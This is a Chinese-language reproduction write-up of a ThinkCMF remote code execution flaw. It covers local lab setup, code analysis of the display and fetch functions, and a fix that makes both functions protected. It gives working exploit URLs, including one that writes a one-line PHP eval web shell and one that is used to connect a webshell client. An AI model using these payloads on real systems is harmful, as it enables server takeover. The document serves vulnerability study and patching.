'thinkcmf框架漏洞复现'

简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

漏洞描述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

环境搭建

ThinkCMF2.2.3
百度盘:链接:https://pan.baidu.com/s/1oCl3gAm3-RdNj2kHbTk3AA
提取码:0va4
phpstudy pro 自己去下载
将环境解压到www文件夹下

浏览器访问127.0.0.1/ThinkCMFX

出现此错误时,说明PHP版本太低,框架要求最低PHP5.5以上才可以
所以我们换个PHP版本

刷新页面恢复正常

点击下一步即可

数据库默认密码root,底下的管理员密码和邮箱随便设置

代码分析

问题代码文件在application下搜索HomebaseController
打开文件

这边有问题的是display函数和fetch函数:
display函数的作用是加载模板和页面输出,所对应的参数为:
templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,这里可以配合一处上传形成文件包含。最终形成的payload :

index.php?a=display&templateFile=README.md

getshell

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。
fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可。

?a=fetch&templateFile=public/index&prefix=%27%27&content=file_put_contents(%27test.php%27,%27%27)

1
?a=fetch&templateFile=''&prefix=''&content=<php>file_put_contents('303.php','<?php @eval($_POST[1]);?>')</php>


页面为空,不用管它,直接访问303.php看是否存在

菜刀链接,密码为1

连接成功

修复方法

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected